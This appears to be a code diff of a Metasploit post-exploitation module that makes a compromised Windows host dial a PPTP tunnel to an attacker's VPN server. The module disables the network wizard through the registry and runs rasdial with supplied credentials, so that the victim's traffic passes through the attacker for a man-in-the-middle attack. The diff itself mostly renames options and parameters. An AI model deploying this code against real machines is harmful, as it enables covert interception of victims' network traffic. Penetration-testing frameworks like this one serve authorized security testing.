@@ -16,39 +16,41 @@ def initialize(info={})
16
16
super ( update_info ( info ,
17
17
'Name' => 'Windows Manage Remote Point-to-Point Tunneling Protocol' ,
18
18
'Description' => %q{
19
- This module initiates a PPTP connection to a remote machine (VPN server). Once the
20
- tunnel is created we can use it to force the victim traffic to go through the server getting
21
- a man in the middle attack. Be sure to allow forwarding and masquerading in the server} ,
19
+ This module initiates a PPTP connection to a remote machine (VPN server). Once
20
+ the tunnel is created we can use it to force the victim traffic to go through the
21
+ server getting a man in the middle attack. Be sure to allow forwarding and
22
+ masquerading on the VPN server (mitm).
23
+ } ,
22
24
'License' => MSF_LICENSE ,
23
- 'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>' ] ,
25
+ 'Author' => 'Borja Merino <bmerinofe[at]gmail.com>' ,
24
26
'References' =>
25
- [
26
- [ 'URL' , 'http://www.youtube.com/watch?v=vdppEZjMPCM&hd=1' ]
27
- ] ,
28
- 'Platform' => [ 'windows' ] ,
27
+ [
28
+ [ 'URL' , 'http://www.youtube.com/watch?v=vdppEZjMPCM&hd=1' ]
29
+ ] ,
30
+ 'Platform' => 'windows' ,
29
31
'SessionTypes' => [ 'meterpreter' ]
30
32
) )
31
33
32
34
register_options (
33
35
[
34
36
OptString . new ( 'USERNAME' , [ true , 'VPN Username.' ] ) ,
35
37
OptString . new ( 'PASSWORD' , [ true , 'VPN Password.' ] ) ,
36
- OptBool . new ( 'MIM ' , [ true , 'Man in the middle.' , true ] ) ,
38
+ OptBool . new ( 'MITM ' , [ true , 'Man in the middle.' , true ] ) ,
37
39
OptInt . new ( 'TIMEOUT' , [ true , 'Timeout for the tunnel creation.' , 60 ] ) ,
38
40
OptString . new ( 'PBK_NAME' , [ true , 'PhoneBook entry name.' , 'MSF' ] ) ,
39
- OptAddress . new ( 'RHOST ' , [ true , 'VPN server.' ] )
41
+ OptAddress . new ( 'VPNHOST ' , [ true , 'VPN server.' ] )
40
42
] , self . class )
41
43
end
42
44
43
45
44
46
def run
45
47
disable_network_wizard if sysinfo [ "OS" ] =~ /Windows 7|Vista|2008/
46
48
47
- pbk = create_pbk ( datastore [ 'MIM ' ] , datastore [ 'PBK_NAME' ] )
49
+ pbk = create_pbk ( datastore [ 'MITM ' ] , datastore [ 'PBK_NAME' ] )
48
50
to = ( datastore [ 'TIMEOUT' ] <= 0 ) ? 60 : datastore [ 'TIMEOUT' ]
49
51
begin
50
52
::Timeout . timeout ( to ) do
51
- run_rasdial ( pbk , datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] , datastore [ 'CONNECTION_NAME' ] , datastore [ 'RHOST '] , datastore [ 'PBK_NAME' ] )
53
+ run_rasdial ( pbk , datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] , datastore [ 'VPNHOST ' ] , datastore [ 'PBK_NAME' ] )
52
54
end
53
55
rescue ::Timeout ::Error
54
56
print_error ( "Timeout after #{ to } seconds" )
@@ -71,8 +73,8 @@ def disable_network_wizard
71
73
registry_setvaldata ( key , value , 3 , "REG_BINARY" )
72
74
print_good ( "Network Wizard disabled" )
73
75
end
74
- rescue ::Exception => e
75
- print_status ( "The following Error was encountered: #{ e . class } #{ e } " )
76
+ rescue ::Exception => e
77
+ print_status ( "The fo llowing Error was encountered: #{ e . class } #{ e } " )
76
78
end
77
79
end
78
80
@@ -94,10 +96,10 @@ def create_pbk(mim,pbk_name)
94
96
end
95
97
96
98
97
- def run_rasdial ( pbk , user , pass , conn , rhost , pbk_name )
99
+ def run_rasdial ( pbk , user , pass , vpn_host , pbk_name )
98
100
print_status ( "Establishing connection ..." )
99
101
cmd_exec ( "rasdial" , "/disconnect" )
100
- output_run = cmd_exec ( "rasdial" , "#{ pbk_name } #{ user } #{ pass } /PHONE:#{ rhost } /PHONEBOOK:#{ pbk } " )
102
+ output_run = cmd_exec ( "rasdial" , "#{ pbk_name } #{ user } #{ pass } /PHONE:#{ vpn_host } /PHONEBOOK:#{ pbk } " )
101
103
output_view = cmd_exec ( "rasdial" , nil )
102
104
103
105
if output_view =~ /#{ pbk_name } /i
0 commit comments